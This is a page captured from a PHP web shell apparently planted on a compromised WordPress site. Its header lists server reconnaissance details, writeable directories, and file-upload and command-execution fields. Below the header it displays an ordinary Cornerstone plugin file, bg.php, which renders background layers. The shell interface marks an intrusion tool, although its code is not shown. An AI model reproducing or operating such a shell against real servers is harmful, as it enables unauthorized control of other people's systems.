403Webshell
Server IP : 104.21.74.147  /  Your IP : 216.73.217.154
Web Server : nginx/1.24.0
System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/views/partials/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/views/partials/bg.php
<?php

// =============================================================================
// VIEWS/PARTIALS/BG.PHP
// -----------------------------------------------------------------------------
// Background partial.
// =============================================================================

// Local Variables
// ---------------

$hide_lower = $bg_lower_type === 'none' || $bg_lower_type === 'color' || $bg_lower_type === 'image' || $bg_lower_type === 'video' || ( $bg_lower_type === 'custom' && $bg_lower_custom_aria_hidden === true );
$hide_upper = $bg_upper_type === 'none' || $bg_upper_type === 'color' || $bg_upper_type === 'image' || $bg_upper_type === 'video' || ( $bg_upper_type === 'custom' && $bg_upper_custom_aria_hidden === true );
$hide_all   = $hide_lower && $hide_upper;


// Prepare Atts
// ------------

$bg_atts = array(
  'class' => 'x-bg',
);

if ( $hide_all ) {
  $bg_atts['aria-hidden'] = 'true';
}

if ( isset( $bg_border_radius ) && $bg_border_radius !== 'inherit' && $bg_border_radius !== 'inherit inherit inherit inherit' && strpos( $bg_border_radius, '!' ) === false ) {
  $bg_atts['style'] = 'border-radius: ' . $bg_border_radius . ';';
}


// Lower & Upper Layers
// --------------------

$bg_lower_layer = cs_bg_layer( $_view_data, 'lower', $hide_lower, $hide_upper, $hide_all );
$bg_upper_layer = cs_bg_layer( $_view_data, 'upper', $hide_lower, $hide_upper, $hide_all );


// Output
// ------

if ( ! empty( $bg_lower_layer ) || ! empty( $bg_upper_layer ) ) {
  echo cs_tag('div', $bg_atts, [
    $bg_lower_layer,
    $bg_upper_layer
  ]);
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit